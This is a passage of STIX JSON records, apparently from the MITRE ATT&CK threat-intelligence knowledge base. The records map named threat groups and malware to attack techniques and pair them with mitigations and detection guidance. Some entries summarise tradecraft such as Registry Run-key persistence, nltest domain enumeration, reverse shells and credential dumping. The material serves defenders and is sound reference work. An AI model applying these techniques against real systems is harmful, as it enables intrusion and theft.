"uses", "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cb55e462-8b1d-4916-8f69-087538d0d209", "type": "relationship", "created": "2020-03-14T22:45:53.071Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-26T23:26:10.231Z", "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.", "relationship_type": "mitigates", "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", "target_ref": "attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cb57c953-1aab-4706-8947-545d4cb0cdce", "type": "relationship", "created": "2020-02-12T15:27:00.955Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NSA Spotting", "description": "National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. 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(2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."}, {"source_name": "Trend Micro DRBControl February 2020", "url": "https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf", "description": "Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}, {"source_name": "Proofpoint TA416 Europe March 2022", "url": "https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european", "description": "Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. 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(2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}], "modified": "2022-03-21T16:07:22.479Z", "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has developed custom malware that allowed them to maintain persistence on victim networks.(Citation: Microsoft NICKEL December 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "target_ref": "attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--cb7b8743-0d0a-46a1-bab9-80f90e73d127", "created": "2022-03-30T14:26:51.843Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "def_ev_win_event_logging", "description": "Chandel, R. (2021, April 22). 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Abusing cloud services to fly under the radar. Retrieved January 19, 2021.", "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-06T18:11:56.977Z", "description": "[Chimera](https://attack.mitre.org/groups/G0114) has obtained and used tools such as [BloodHound](https://attack.mitre.org/software/S0521), [Cobalt Strike](https://attack.mitre.org/software/S0154), [Mimikatz](https://attack.mitre.org/software/S0002), and [PsExec](https://attack.mitre.org/software/S0029).(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--cb9959c5-377b-4278-8a55-2c8863f96f23", "created": "2022-03-30T14:26:51.837Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Microsoft - Cached Creds", "description": "Microsoft. (2016, August 21). Cached and Stored Credentials Technical Overview. Retrieved February 21, 2020.", "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11)"}, {"source_name": "Powersploit", "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", "url": "https://github.com/mattifestation/PowerSploit"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-19T18:37:57.026Z", "description": "Monitor executed commands and arguments that may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds). Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\nDetection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cb9f7bf4-a118-457c-95f8-512d84cf7be2", "type": "relationship", "created": "2019-04-19T16:28:49.902Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Nltest Manual", "url": "https://ss64.com/nt/nltest.html", "description": "ss64. (n.d.). NLTEST.exe - Network Location Test. Retrieved February 14, 2019."}], "modified": "2019-04-22T19:06:17.471Z", "description": "[Nltest](https://attack.mitre.org/software/S0359) may be used to enumerate remote domain controllers using options such as <code>/dclist</code> and <code>/dsgetdc</code>.(Citation: Nltest Manual)", "relationship_type": "uses", "source_ref": "tool--981acc4c-2ede-4b56-be6e-fa1a75f37acf", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cba11c5f-afe2-42e1-8995-8b1105d75e7a", "type": "relationship", "created": "2021-04-13T12:56:16.352Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ANSSI Sandworm January 2021", "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}], "modified": "2021-04-13T12:56:16.352Z", "description": "[P.A.S. Webshell](https://attack.mitre.org/software/S0598) has the ability to list and extract data from SQL databases.(Citation: ANSSI Sandworm January 2021)", "relationship_type": "uses", "source_ref": "malware--4800d0f9-00aa-47cd-a4d2-92198585b8fd", "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cba3f208-4db7-486b-adb1-311910b0382d", "type": "relationship", "created": "2021-08-04T13:44:25.242Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC Nobelium Toolset May 2021", "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", "description": "MSTIC. (2021, May 28). Breaking down NOBELIUM\u2019s latest early-stage toolset. Retrieved August 4, 2021."}], "modified": "2021-08-04T13:57:21.807Z", "description": "[BoomBox](https://attack.mitre.org/software/S0635) can establish persistence by writing the Registry value <code>MicroNativeCacheSvc</code> to <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>.(Citation: MSTIC Nobelium Toolset May 2021)", "relationship_type": "uses", "source_ref": "malware--c26f1c05-b861-4970-94dc-2f7f921a3074", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cbadd419-3f8c-485a-a458-09caed90d82e", "type": "relationship", "created": "2021-05-05T17:56:59.100Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Tonto Team October 2020", "url": "https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf", "description": "Daniel Lughi, Jaromir Horejsi. (2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. Retrieved October 17, 2021."}], "modified": "2021-10-17T15:10:00.779Z", "description": "[Tonto Team](https://attack.mitre.org/groups/G0131) has delivered payloads via spearphishing attachments.(Citation: TrendMicro Tonto Team October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--cbaf6578-b0f6-4d48-86c1-bfe5089b1b1f", "created": "2022-04-11T16:14:35.995Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Trend Micro Iron Tiger April 2021", "description": "Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021.", "url": "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html"}, {"source_name": "Trend Micro DRBControl February 2020", "description": "Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.", "url": "https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-29T16:18:17.581Z", "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has packed malware and tools, including using VMProtect.(Citation: Trend Micro DRBControl February 2020)(Citation: Trend Micro Iron Tiger April 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cbb27eed-2e1c-4675-a077-28765060b349", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/", "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", "source_name": "ASERT Donot March 2018"}], "modified": "2019-04-25T00:09:23.209Z", "description": "[yty](https://attack.mitre.org/software/S0248) packs a plugin with UPX.(Citation: ASERT Donot March 2018)", "relationship_type": "uses", "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--cbb40150-0414-4b36-a28b-f7d2088f535a", "created": "2021-03-31T14:26:00.974Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Kubernetes RBAC", "description": "Kubernetes. (n.d.). Role Based Access Control Good Practices. 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(2019, October). OPERATION GHOST. Retrieved September 23, 2020."}], "modified": "2020-10-09T16:08:00.537Z", "description": "[FatDuke](https://attack.mitre.org/software/S0512) has the ability to execute PowerShell scripts.(Citation: ESET Dukes October 2019)", "relationship_type": "uses", "source_ref": "malware--54a01db0-9fab-4d5f-8209-53cef8425f4a", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cbb686ae-3dc8-4e91-80fc-075209505425", "type": "relationship", "created": "2020-05-26T20:33:11.746Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CheckPoint Naikon May 2020", "url": "https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/", "description": "CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}], "modified": "2020-05-26T20:33:11.746Z", "description": "[Aria-body](https://attack.mitre.org/software/S0456) has the ability to download additional payloads from C2.(Citation: CheckPoint Naikon May 2020)", "relationship_type": "uses", "source_ref": "malware--3161d76a-e2b2-4b97-9906-24909b735386", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cbba2f85-d5f4-4306-a219-5eea6c59dbb6", "type": "relationship", "created": "2020-05-13T19:39:41.811Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky MoleRATs April 2019", "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/", "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."}], "modified": "2020-06-24T19:11:10.774Z", "description": "[Molerats](https://attack.mitre.org/groups/G0021) used various implants, including those built with JS, on target machines.(Citation: Kaspersky MoleRATs April 2019)\t", "relationship_type": "uses", "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cbbaed8a-28ce-4cea-bbb9-ea200dcf9e66", "type": "relationship", "created": "2022-03-30T14:26:51.870Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.870Z", "description": "If infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. 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Retrieved July 16, 2020."}], "modified": "2020-08-18T13:13:31.826Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) has executed legitimate tools in hidden windows.(Citation: ESET InvisiMole June 2020)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--cc1f7b0c-a443-46ee-b9d6-b7ecb9ead9fa", "created": "2023-06-02T15:27:58.785Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-06-02T15:27:58.785Z", "description": "", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--45241b9e-9bbc-4826-a2cc-78855e51ca09", "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cc2099fb-4785-4884-b274-4f3e8a3b8d99", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender APT28 Dec 2015", "description": "Bitdefender. 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Retrieved July 15, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) has encrypted TCP communications to evade detection.(Citation: Gh0stRAT ATT March 2019)", "modified": "2022-04-15T15:09:22.043Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", "target_ref": "attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cc2f4b77-5b2f-4942-a6c0-9c2a19e1f7b0", "type": "relationship", "created": "2021-04-14T14:10:02.576Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-06-21T17:58:03.717Z", "description": "Consider re-locking password managers after a short timeout to limit the time plaintext credentials live in memory from decrypted databases.", "relationship_type": "mitigates", "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", "target_ref": "attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cc31afad-6349-4b66-a0a9-cd8f9de46aec", "type": "relationship", "created": "2019-10-04T22:20:20.853Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT SHARPKNOT June 2018", "description": "US-CERT. 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Retrieved August 7, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[PingPull](https://attack.mitre.org/software/S1031) can use `cmd.exe` to run various commands as a reverse shell.(Citation: Unit 42 PingPull Jun 2022)", "modified": "2022-08-24T20:06:10.151Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--3a0f6128-0a01-421d-8eca-e57d8671b1f1", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cc3ca652-5f6f-4d8b-8b3d-51ab6f776e8a", "type": "relationship", "created": "2021-09-27T20:05:02.119Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Qakbot May 2020", "url": "https://www.trendmicro.com/vinfo/ph/security/news/cybercrime-and-digital-threats/qakbot-resurges-spreads-through-vbs-files", "description": "Mendoza, E. et al. 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Retrieved September 27, 2021."}], "modified": "2021-09-27T20:05:02.119Z", "description": "[QakBot](https://attack.mitre.org/software/S0650) has the ability to use removable drives to spread through compromised networks.(Citation: Trend Micro Qakbot May 2020)", "relationship_type": "uses", "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cc42a6c0-ce7c-442b-8ccc-cb5a9fba3462", "type": "relationship", "created": "2020-05-27T15:31:09.537Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "RedCanary Mockingbird May 2020", "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/", "description": "Lambert, T. (2020, May 7). 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Retrieved January 23, 2023.", "url": "https://assets.sentinelone.com/sentinellabs22/metador#page=1"}, {"source_name": "SentinelLabs Metador Technical Appendix Sept 2022", "description": "SentinelLabs. (2022, September 22). Metador Technical Appendix. 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(2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"}, {"source_name": "CISA AA20-296A Berserk Bear December 2020", "url": "https://www.cisa.gov/uscert/ncas/alerts/aa20-296a#revisions", "description": "CISA. (2020, December 1). Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets. Retrieved December 9, 2021."}], "modified": "2021-12-10T14:54:00.785Z", "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) has used VPNs and Outlook Web Access (OWA) to maintain access to victim networks.(Citation: US-CERT TA18-074A)(Citation: CISA AA20-296A Berserk Bear December 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cc6e0159-1216-4ca5-ac5c-55e961878785", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia", "description": "Symantec Security Response Attack Investigation Team. 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(2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group", "source_name": "Symantec MuddyWater Dec 2018"}, {"source_name": "Reaqta MuddyWater November 2017", "url": "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/", "description": "Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020."}, {"source_name": "Trend Micro Muddy Water March 2021", "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}], "modified": "2021-04-25T23:26:10.871Z", "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has controlled [POWERSTATS](https://attack.mitre.org/software/S0223) from behind a proxy network to obfuscate the C2 location.(Citation: Symantec MuddyWater Dec 2018) [MuddyWater](https://attack.mitre.org/groups/G0069) has used a series of compromised websites that victims connected to randomly to relay information to command and control (C2).(Citation: Reaqta MuddyWater November 2017)(Citation: Trend Micro Muddy Water March 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "target_ref": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cc79d8c5-f7c9-4c8b-810d-e57d70a07d4f", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}, {"source_name": "Microsoft NICKEL December 2021", "url": "https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe", "description": "MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}], "modified": "2022-03-22T15:36:00.218Z", "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) malware including RoyalCli and BS2005 have communicated over HTTP with the C2 server through Internet Explorer (IE) by using the COM interface IWebBrowser2.(Citation: NCC Group APT15 Alive and Strong)(Citation: Microsoft NICKEL December 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cc7f6dcb-dae0-401b-ba21-158c040c717e", "type": "relationship", "created": "2021-11-23T15:26:58.525Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talent-Jump Clambling February 2020", "url": "https://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/", "description": "Chen, T. and Chen, Z. (2020, February 17). CLAMBLING - A New Backdoor Base On Dropbox. Retrieved November 12, 2021."}], "modified": "2021-11-23T15:26:58.525Z", "description": "[Clambling](https://attack.mitre.org/software/S0660) can register itself as a system service to gain persistence.(Citation: Talent-Jump Clambling February 2020)", "relationship_type": "uses", "source_ref": "malware--6e95feb1-78ee-48d3-b421-4d76663b5c49", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cc81f8f0-111c-4932-bc75-7704eaf17f73", "type": "relationship", "created": "2020-12-01T15:19:53.657Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group Team9 June 2020", "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}], "modified": "2020-12-01T15:19:53.657Z", "description": "[Bazar](https://attack.mitre.org/software/S0534) can identify administrator accounts on an infected host.(Citation: NCC Group Team9 June 2020)", "relationship_type": "uses", "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--cc831c63-94af-4937-b8e6-668591ec7d04", "type": "relationship", "created": "2017-05-31T21:33:27.047Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bizeul 2014", "description": "Bizeul, D., Fontarensky, I., Mouchoux, R., Perigaud, F., Pernet, C. (2014, July 11). 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Retrieved October 11, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html", "source_name": "FireEye FIN7 Oct 2019"}], "modified": "2019-10-11T16:14:20.334Z", "description": "(Citation: FireEye FIN7 Oct 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", "target_ref": "malware--065196de-d7e8-4888-acfb-b2134022ba1b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": 